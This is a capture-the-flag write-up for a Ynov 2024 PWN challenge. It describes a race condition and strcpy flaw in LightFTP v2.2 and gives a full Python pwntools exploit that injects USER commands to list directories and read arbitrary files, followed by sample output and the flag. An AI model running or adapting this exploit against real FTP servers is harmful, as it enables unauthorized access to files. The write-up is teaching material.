3 min read

[CTF] WU - Exploit Hunt !

CTF InterCampus Ynov 2024

Difficulty Level : Medium

Challenge Category : PWN

Description :

Every fortress has a forgotten key.
PS : The response includes two numbers that seem to define a port, port forwarding rule = last digit + base port + 1

Solution Steps

Step 1: Understanding the Vulnerability

The vulnerability arises from:

  1. A race condition in LightFTP v2.2.
  2. A lack of proper synchronization in the passive mode connection handling.
  3. Use of insecure string handling functions (strcpy), which allows overwriting context->fileName.

The exploit allows:

  • Directory listing using the LIST command.
  • Arbitrary file retrieval using the RETR command with a crafted USER input.

Step 2: Exploit Strategy

  1. Establish an FTP connection:

    • Authenticate using the USER and PASS commands.
    • Enter passive mode using the PASV command to get the host port for data transfer.
  2. Directory Listing:

    • Send the LIST command to fetch directory contents.
    • Inject the USER command to bypass path checks and list files.
  3. Retrieve Flag File:

    • Use the RETR command to retrieve a specific file (e.g., the flag file).
    • Bypass path restrictions using the race condition exploit in USER.

Step 3: Python Exploit Script

The provided script automates:

  • Connecting to the vulnerable server.
  • Listing directories.
  • Retrieving the flag using the race condition.
from pwn import *
import re
import sys

def calculate_passive_port(base_port, passive_port):
    """
    Calculate the host port for passive mode connection based on the rule:
    - Take the last two digits of the passive port.
    - Add 1.
    - Add this result to the initial port (base_port).
    """
    last_two_digits = passive_port % 100  # Extract the last two digits
    return base_port + last_two_digits + 1

def init(p, base_port):
    try:
        p.recvuntil(b"220")
        p.sendline(b"USER anonymous")
        p.recvuntil(b"331")
        p.sendline(b"PASS anonymous")
        p.recvuntil(b"230")
        p.sendline(b"PASV")
        p.recvline()
        result = p.recvline().rstrip(b"\r\n")
        print("PASV Response:", result)
        parts = [int(s) for s in re.findall(r'\b\d+\b', result.decode())]
        passive_port = parts[-2] * 256 + parts[-1]
        host_port = calculate_passive_port(base_port, passive_port)
        print(f"Mapped Host Port: {host_port}")
        return host_port
    except Exception as e:
        print("Error during init: ", str(e))
        return None

def read(ip, port):
    try:
        p_data = remote(ip, port, level='debug')
        print(p_data.recvall(timeout=2))
        p_data.close()
    except Exception as e:
        print("Error during data connection: ", str(e))

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <IP> <PORT>")
        return

    ip = sys.argv[1]
    base_port = int(sys.argv[2])

    action = input("Do you want to list directories or get the flag? (list/flag): ").strip().lower()

    if action == "list":
        try:
            p = remote(ip, base_port, level='debug')
            p.newline = b'\r\n'
            data_port = init(p, base_port)

            if data_port:
                p.sendline(b"LIST ")
                p.sendline(b"USER /")
                p.recvline()
                read(ip, data_port)
                p.recvline()
                p.recvline()
            else:
                print("Failed to initialize the connection properly.")
        except Exception as e:
            print("Error during main connection: ", str(e))
        finally:
            p.close()
    elif action == "flag":
        flag_name = input("Enter the flag name: ").strip()
        try:
            p = remote(ip, base_port, level='debug')
            p.newline = b'\r\n'
            data_port = init(p, base_port)

            if data_port:
                p.sendline(b"RETR hello.txt")
                p.sendline(f"USER /{flag_name}".encode())
                p.recvline()
                read(ip, data_port)
                p.recvline()
                p.recvline()
            else:
                print("Failed to initialize the connection properly.")
        except Exception as e:
            print("Error during main connection: ", str(e))
        finally:
            p.close()
    else:
        print("Invalid action. Please enter 'list' or 'flag'.")

if __name__ == "__main__":
    main()

Step 4: Exploitation

Command to List Directories

python exploit.py <TARGET_IP> <BASE_PORT>
Do you want to list directories or get the flag? (list/flag): list

Output:

[+] Opening connection to chall01.oxyhack.com on port 32779: Done
[DEBUG] Received 0x1b bytes: b'220 LightFTP server ready\r\n'
...
[+] Receiving all data: Done (1018B)
[DEBUG] Received directory contents:
drwxr-xr-x  2 0 0 4096 Nov 21 12:07 server
-rw-r--r--  1 0 0 29 Nov 21 11:54 flag.<unique-id>

Command to Retrieve Flag

python exploit.py <TARGET_IP> <BASE_PORT>
Do you want to list directories or get the flag? (list/flag): flag
Enter the flag name: flag.<unique-id>

Output:

[+] Receiving all data: Done (29B)
[DEBUG] Received flag:
YNOV{RaCe_DaT_FlAg_&_StRcPy}